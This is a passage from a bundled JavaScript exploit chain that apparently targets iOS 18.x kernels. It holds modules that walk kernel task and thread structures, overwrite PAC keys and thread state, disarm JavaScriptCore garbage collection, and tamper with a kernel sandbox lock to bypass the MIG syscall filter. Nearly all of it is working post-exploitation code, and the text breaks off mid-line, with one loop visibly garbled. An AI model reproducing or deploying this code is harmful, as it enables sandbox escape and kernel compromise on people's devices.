libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(procROAddr);\n\t\treturn procAddr;\n\t}\n\n\tstatic #searchForLaunchdTask()\n\t{\n\t\t/*\n\t\t * Traverse the tasks list backwards starting from the self task until we find the proc with PID 1.\n\t\t */\n\n\t\tlet currTask = this.gSelfTask.addr;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\tif (currPid == 1)\n\t\t\t\treturn currTask;\n\t\t\tlet prevTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().prevTask);\n\t\t\tif (!prevTask || prevTask === currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = prevTask;\n\t\t}\n\t\treturn 0n;\n\t}\n\n\tstatic #kallocArrayDecodeAddr(ptr)\n\t{\n\t\tlet zone_mask = BigInt(1) << BigInt(this.KALLOC_ARRAY_TYPE_SHIFT);\n\t\tif (ptr & zone_mask)\n\t\t{\n\t\t\tptr &= ~0x1fn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tptr &= ~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_MASK;\n\t\t\t//console.log(TAG,`ptr:${Utils.hex(ptr)}`);\n\t\t\tptr |= zone_mask;\n\t\t\t//console.log(TAG,`ptr2:${Utils.hex(ptr)}`);\n\t\t}\n\t\treturn ptr;\n\t}\n\n\tstatic getPortAddr(port)\n\t{\n\t\tif (!port)\n\t\t\treturn 0;\n\t\tlet spaceTable = this.#getSpaceTable(this.gSelfTask.addr);\n\t\treturn this.#getPortObject(spaceTable, port);\n\t}\n\n\tstatic getPortKObject(port)\n\t{\n\t\tlet portObject = this.getPortAddr(port);\n\t\treturn this.#getPortKObjectByAddr(portObject);\n\t}\n\n\tstatic #getPortKObjectByAddr(portObject)\n\t{\n\t\tif (!portObject)\n\t\t\treturn 0;\n\t\tlet kobject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(portObject + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().objectKObject);\n\t\treturn libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(kobject);\n\t}\n\n\tstatic firstThread(taskAddr)\n\t{\n\t\tlet first = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().threads);\n\t\treturn first;\n\t}\n\n\tstatic getMap(taskAddr)\n\t{\n\t\tlet vmMap = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().mapTask);\n\t\treturn vmMap;\n\t}\n\n\tstatic getPortKObjectOfTask(taskAddr,port)\n\t{\n\t\tlet portObject = this.getPortAddrOfTask(taskAddr, port);\n\t\treturn this.#getPortKObjectByAddr(portObject);\n\t}\n\n\tstatic getPortAddrOfTask(taskAddr, port)\n\t{\n\t\tlet spaceTable = this.#getSpaceTable(taskAddr);\n\t\treturn this.#getPortObject(spaceTable, port);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/TaskRop.js\":\n/*!*************************************!*\\\n !*** ./src/libs/TaskRop/TaskRop.js ***!\n \\*************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ TaskRop)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ \"./src/libs/TaskRop/Task.js\");\n\n\n\n\nconst TAG = \"TASKROP\"\n\nclass TaskRop\n{\n\tstatic init()\n\t{\n\t\tlet selfTaskAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].getSelfTaskAddr();\n\t\tif (!selfTaskAddr)\n\t\t{\n\t\t\tconsole.log(TAG,`Unable to find self task address`);\n\t\t\treturn;\n\t\t}\t\n\t\tconsole.log(TAG,`selfTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(selfTaskAddr)}`);\n\t\t_Task__WEBPACK_IMPORTED_MODULE_2__[\"default\"].init(selfTaskAddr);\n\t}\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/Thread.js\":\n/*!************************************!*\\\n !*** ./src/libs/TaskRop/Thread.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Thread)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ThreadState */ \"./src/libs/TaskRop/ThreadState.js\");\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\n\n\nconst AST_GUARD = 0x1000;\nconst TAG = \"THREAD\";\n\nclass Thread\n{\n\tstatic getTro(thread)\n\t{\n\t\tlet tro = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().tro);\n\t\t// Ignore threads with invalid tro address.\n\t\tif (!(tro & 0xf000000000000000n))\n\t\t{\n\t\t\t//console.log(TAG,`Got invalid tro of thread:${Utils.hex(thread)} and value:${Utils.hex(tro)}`);\n\t\t\treturn 0n;\n\t\t}\n\t\treturn tro;\n\t}\n\tstatic getCtid(thread)\n\t{\n\t\tlet ctid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ctid);\n\t\treturn ctid;\n\t}\n\tstatic getTask(thread)\n\t{\n\t\tlet tro = this.getTro(thread);\n\t\t// Ignore threads with invalid tro address.\n\t\tif (!(tro & 0xf000000000000000n) || tro === 0n)\n\t\t\treturn 0n;\n\t\tlet task = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(tro + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().troTask);\n\t\treturn task;\n\t}\n\tstatic next(thread)\n\t{\n\t\tif (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].strip(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().taskThreads) < 0xffffffd000000000n)\n\t\t\treturn 0;\n\t\tlet next = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().taskThreads);\n\t\tif (next < 0xffffffd000000000n)\n\t\t\treturn 0;\n\t\treturn next;\n\t}\n\tstatic setMutex(thread,ctid)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().mutexData, ctid);\n\t}\n\tstatic getMutex(thread)\n\t{\n\t\tlet mutex = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().mutexData);\n\t\treturn mutex;\n\t}\n\tstatic getStack(thread)\n\t{\n\t\tlet stackptr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().kstackptr);\n\t\treturn stackptr;\n\t}\n\tstatic injectGuardException(thread,code)\n\t{\n\t\tif(!this.getTro(thread))\n\t\t{\n\t\t\tconsole.log(TAG,`got invalid tro of thread, not injecting exception since thread is dead`);\n\t\t\treturn false;\n\t\t}\n\n\t\t// 18.4+\n\t\tif (xnuVersion.major == 24 && xnuVersion.minor >= 4) {\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0x17n);\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode + 0x8n, code);\n\t\t}\n\t\telse {\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, code);\n\t\t}\n\n\t\tlet ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast);\n\t\tast |= AST_GUARD;\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast, ast);\n\t\treturn true;\n\t}\n\tstatic clearGuardException(thread)\n\t{\n\t\tif(!this.getTro(thread))\n\t\t{\n\t\t\tconsole.log(TAG,`got invalid tro of thread, still clearing exception to avoid crash`);\n\t\t}\n\t\tlet ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast);\n\t\tast &= ~AST_GUARD | 0x80000000;\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast, ast);\n\n\t\t// 18.4+\n\t\tif (xnuVersion.major == 24 && xnuVersion.minor >= 4) {\n\t\t\tif (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode) == 0x17n) {\n\t\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0n);\n\t\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode + 0x8n, 0n);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0n);\n\t\t}\n\t}\n\tstatic getOptions(thread)\n\t{\n\t\tlet options = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().options);\n\t\treturn options;\n\t}\n\tstatic setOptions(thread, options)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().options, options);\n\t}\n\tstatic getRopPid(thread)\n\t{\n\t\tlet ropPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ropPid);\n\t\treturn ropPid;\n\t}\n\tstatic getJopPid(thread)\n\t{\n\t\tlet jopPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().jopPid);\n\t\treturn jopPid;\n\t}\n\tstatic setPACKeys(thread, keyA, keyB)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ropPid, keyA);\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().jopPid, keyB);\n\t}\n\n\tstatic getState(machThread)\n\t{\n\t\tlet statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\tlet stateCountPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem + 0x200n;\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].write32(stateCountPtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_COUNT);\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_get_state\",\n\t\t\tmachThread,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64,\n\t\t\tstatePtr,\n\t\t\tstateCountPtr);\n\t\tif (kr != 0) {\n\t\t\tconsole.log(TAG, \"Unable to read thread state\");\n\t\t\treturn false;\n\t\t}\n\n\t\tlet stateBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].read(statePtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_SIZE);\n\t\tlet state = new _ThreadState__WEBPACK_IMPORTED_MODULE_2__[\"default\"](stateBuff);\n\t\treturn state;\n\t}\n\n\tstatic setState(machThread, threadAddr, state)\n\t{\n\t\tlet options = 0;\n\t\tif (threadAddr) {\n\t\t\toptions = Thread.getOptions(threadAddr);\n\t\t\toptions |= 0x8000;\n\t\t\tThread.setOptions(threadAddr, options);\n\t\t}\n\n\t\tlet statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].write(statePtr, state.buffer);\n\t\t//console.log(TAG,`thread:${Utils.hex(thread)}`);\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_set_state\",\n\t\t\tmachThread,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64,\n\t\t\tstatePtr,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_COUNT);\n\t\tif (kr != 0)\n\t\t{\n\t\t\tconsole.log(TAG,`Failed thread_set_state with error:${kr}`);\n\t\t\treturn false;\n\t\t}\n\n\t\tif (threadAddr) {\n\t\t\toptions &= ~0x8000;\n\t\t\tThread.setOptions(threadAddr, options);\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic resume(machThread)\n\t{\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_resume\", machThread);\n\t\tif (kr != 0) {\n\t\t\tconsole.log(TAG, \"Unable to resume suspended thread\");\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/ThreadState.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/TaskRop/ThreadState.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ ThreadState)\n/* harmony export */ });\n/* harmony import */ var _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./RegistersStruct */ \"./src/libs/TaskRop/RegistersStruct.js\");\n\n\nclass ThreadState\n{\n\t#buffer;\n\t#dataView;\n\tconstructor(buffer, offset = 0)\n\t{\n\t\tthis.#buffer = buffer;\n\t\tthis.#dataView = new DataView(buffer,offset);\n\t\tthis.registers = new _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"](buffer,offset);\n\t}\n\tget buffer()\n\t{\n\t\treturn this.#buffer;\n\t}\n\tget opaque_fp()\n\t{\n\t\treturn this.#dataView.getBigUint64(232,true);\n\t}\n\tset opaque_fp(value)\n\t{\n\t\tthis.#dataView.setBigUint64(232,value,true);\n\t}\n\tget opaque_lr()\n\t{\n\t\treturn this.#dataView.getBigUint64(240,true);\n\t}\n\tset opaque_lr(value)\n\t{\n\t\tthis.#dataView.setBigUint64(240,value,true);\n\t}\n\tget opaque_sp()\n\t{\n\t\treturn this.#dataView.getBigUint64(248,true);\n\t}\n\tset opaque_sp(value)\n\t{\n\t\tthis.#dataView.setBigUint64(248,value,true);\n\t}\n\tget opaque_pc()\n\t{\n\t\treturn this.#dataView.getBigUint64(256,true);\n\t}\n\tset opaque_pc(value)\n\t{\n\t\tthis.#dataView.setBigUint64(256,value,true);\n\t}\n\tget cpsr()\n\t{\n\t\treturn this.#dataView.getUint32(264,true);\n\t}\n\tset cpsr(value)\n\t{\n\t\tthis.#dataView.setUint32(264,value,true);\n\t}\n\tget opaque_flags()\n\t{\n\t\treturn this.#dataView.getUint32(268,true);\n\t}\n\tset opaque_flags(value)\n\t{\n\t\tthis.#dataView.setUint32(268,value,true);\n\t}\n}\n\n/***/ })\n\n/******/ \t});\n/************************************************************************/\n/******/ \t// The module cache\n/******/ \tvar __webpack_module_cache__ = {};\n/******/ \t\n/******/ \t// The require function\n/******/ \tfunction __webpack_require__(moduleId) {\n/******/ \t\t// Check if module is in cache\n/******/ \t\tvar cachedModule = __webpack_module_cache__[moduleId];\n/******/ \t\tif (cachedModule !== undefined) {\n/******/ \t\t\treturn cachedModule.exports;\n/******/ \t\t}\n/******/ \t\t// Create a new module (and put it into the cache)\n/******/ \t\tvar module = __webpack_module_cache__[moduleId] = {\n/******/ \t\t\t// no module.id needed\n/******/ \t\t\t// no module.loaded needed\n/******/ \t\t\texports: {}\n/******/ \t\t};\n/******/ \t\n/******/ \t\t// Execute the module function\n/******/ \t\t__webpack_modules__[moduleId](module, module.exports, __webpack_require__);\n/******/ \t\n/******/ \t\t// Return the exports of the module\n/******/ \t\treturn module.exports;\n/******/ \t}\n/******/ \t\n/************************************************************************/\n/******/ \t/* webpack/runtime/define property getters */\n/******/ \t(() => {\n/******/ \t\t// define getter functions for harmony exports\n/******/ \t\t__webpack_require__.d = (exports, definition) => {\n/******/ \t\t\tfor(var key in definition) {\n/******/ \t\t\t\tif(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {\n/******/ \t\t\t\t\tObject.defineProperty(exports, key, { enumerable: true, get: definition[key] });\n/******/ \t\t\t\t}\n/******/ \t\t\t}\n/******/ \t\t};\n/******/ \t})();\n/******/ \t\n/******/ \t/* webpack/runtime/hasOwnProperty shorthand */\n/******/ \t(() => {\n/******/ \t\t__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))\n/******/ \t})();\n/******/ \t\n/******/ \t/* webpack/runtime/make namespace object */\n/******/ \t(() => {\n/******/ \t\t// define __esModule on exports\n/******/ \t\t__webpack_require__.r = (exports) => {\n/******/ \t\t\tif(typeof Symbol !== 'undefined' && Symbol.toStringTag) {\n/******/ \t\t\t\tObject.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });\n/******/ \t\t\t}\n/******/ \t\t\tObject.defineProperty(exports, '__esModule', { value: true });\n/******/ \t\t};\n/******/ \t})();\n/******/ \t\n/************************************************************************/\nvar __webpack_exports__ = {};\n// This entry needs to be wrapped in an IIFE because it needs to be isolated against other modules in the chunk.\n(() => {\n/*!**************************************!*\\\n !*** ./src/MigFilterBypassThread.js ***!\n \\**************************************/\n__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/TaskRop/Task */ \"./src/libs/TaskRop/Task.js\");\n/* harmony import */ var libs_TaskRop_Thread__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/TaskRop/Thread */ \"./src/libs/TaskRop/Thread.js\");\n/* harmony import */ var libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/TaskRop/TaskRop */ \"./src/libs/TaskRop/TaskRop.js\");\n/* harmony import */ var libs_JSUtils_Logger__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/JSUtils/Logger */ \"./src/libs/JSUtils/Logger.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Driver_DriverNewThread__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! libs/Driver/DriverNewThread */ \"./src/libs/Driver/DriverNewThread.js\");\n\n\n\n\n\n\n\n\n\nconst TAG = \"MIG_FILTER_BYPASS\";\n\nconst RUN_FLAG_STOP = 0;\nconst RUN_FLAG_RUN = 1;\nconst RUN_FLAG_PAUSE = 2;\n\nfunction disarm_gc() {\n\n\tlet vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n);\n\tlet heap = vm + 0xc0n;\n\tlet m_threadGroup = uread64(heap + 0x198n);\n\tlet threads = uread64(m_threadGroup);\n\tuwrite64(threads + 0x20n, 0x0n);\n\t// LOG(\"[+] gc disarmed\");\n}\n\nfunction kstrip(addr) {\n\treturn addr | 0xffffff8000000000n;\n}\n\nfunction lockSandboxLock() {\n\t// Find \"_duplicate_lock\" address, which is a \"lck_rw_t\"\n\tconst lockAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migLock;\n\tconst sbxMessageAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migSbxMsg;\n\n\t//console.log(TAG, \"kernelSlide: \" + Utils.hex(kernelSlide));\n\t//console.log(TAG, \"lockAddr: \" + Utils.hex(lockAddr));\n\t//console.log(TAG, \"sbxMessageAddr: \" + Utils.hex(sbxMessageAddr));\n\n\tlet lockBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].readBuff(lockAddr, 16);\n\tlet lockBuff32 = new Uint32Array(lockBuff);\n\t//for (let i=0, j=0; i<16; i+=4, j++)\n\t//\tconsole.log(TAG, `${Utils.hex(i)}: ${Utils.hex(lockBuff32[j]).padStart(8, '0')}`);\n\n\tlet lockData = lockBuff32[2];\n\tlockData |= 0x410000;\t// interlock + can_sleep\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write32(lockAddr + 0x8n, lockData);\n\n\t// Do we need to clear this addr while locking too? Or maybe just when we unlock is enough?\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write64(sbxMessageAddr, 0n);\n}\n\nfunction unlockSandboxLock() {\n\tconst lockAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migLock;\n\tconst sbxMessageAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migSbxMsg;\n\n\t\n\t// clear the sbx message buffer (pointer) used to check for duplicate messages.\n\t// This should solve an issue with sfree() if we unlock and lock sandbox quick enough.\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write64(sbxMessageAddr, 0n);\n\n\tlet lockBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].readBuff(lockAddr, 16);\n\tlet lockBuff32 = new Uint32Array(lockBuff);\n\n\tlet lockData = lockBuff32[2];\n\tlockData &= ~0x10000;\t// interlock\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write32(lockAddr + 0x8n, lockData);\n}\n\nfunction dumpKMem(addr, size) {\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].read(addr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].mem, size);\n\tlet buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].mem, size);\n\tlet buff64 = new BigUint64Array(buff);\n\tfor (let i=0, j=0; i= timeout)) {\n\t\t\tconsole.log(TAG, \"Timeout waiting for a syscall\");\n\t\t\tbreak;\n\t\t}\n\n\t\tlet filterTriggered = false;\n\t\tlet monitorThread1 = monitorThread1Ptr ? libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(monitorThread1Ptr) : false;\n\t\tlet monitorThread2 = monitorThread2Ptr ? libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(monitorThread2Ptr) : false;\n\n\t\tif (monitorThread1 && monitorThread2) {\n\t\t\t//console.log(TAG, \"check monitored threads\");\n\t\t\tfilterTriggered |= disableFilterOnThread(monitorThread1);\n\t\t\tfilterTriggered |= disableFilterOnThread(monitorThread2);\n\t\t}\n\t\telse {\n\t\t\t//console.log(TAG, \"Waiting for monitored threads...\");\n\t\t}\n\t\t\n\t\tif (filterTriggered)\n\t\t\tbreak;\n\n\t\t//console.log(TAG, \"No MIG syscall detected\");\n\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"usleep\", 50000);\n\t}\n\t//console.log(TAG, \"MIG syscall intercepted!\");\n\treturn RUN_FLAG_RUN;\n}\n\nfunction startFilterBypass(runBypassFlagPtr) {\n\tlet run = RUN_FLAG_PAUSE;\n\n\tlet selfTaskAddr = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_2__[\"default\"].gSelfTask.addr;\n\n\twhile (run) {\n\t\tif (run == RUN_FLAG_PAUSE) {\n\t\t\tconsole.log(TAG, \"Pausing filter bypass\");\n\t\t\twhile (true) {\n\t\t\t\trun = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(runBypassFlagPtr);\n\t\t\t\tif (run != RUN_FLAG_PAUSE) {\n\t\t\t\t\tif (run == RUN_FLAG_RUN)\n\t\t\t\t\t\tconsole.log(TAG, \"Resuming filter bypass\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t}\n\n\t\t//console.log(TAG, \"Locking sandbox...\");\n\t\tlockSandboxLock();\n\t\t//console.log(TAG, \"Sandbox locked\");\n\n\t\trun = waitForMigSyscall(selfTaskAddr, runBypassFlagPtr, 5000);\n\n\t\tunlockSandboxLock();\n\t\t//console.log(TAG, \"Sandbox unlocked\");\n\n\t\tif (run)\n\t\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"sched_yield\");\n\t}\n}\n\ndisarm_gc();\n\n// Register log function\n//globalThis.LOG_POST_TO_FILE = false;\nconsole.log = libs_JSUtils_Logger__WEBPACK_IMPORTED_MODULE_5__[\"default\"].log;\n\nconsole.log(TAG, \"Thread initialized!\");\n\nlet kernelControlPtr = thread_arg;\nlet kernelRWPtr = thread_arg + 0x8n;\nlet kernelBasePtr = thread_arg + 0x10n;\nlet mainThreadAddrPtr = thread_arg + 0x18n;\nlet runBypassFlagPtr = thread_arg + 0x20n;\nlet isRunningPtr = thread_arg + 0x28n;\nlet mutexPtr = thread_arg + 0x30n;\nlet migLockPtr = thread_arg + 0x38n;\nlet migSbxMsgPtr = thread_arg + 0x40n;\nlet migKernelStackLRPtr = thread_arg + 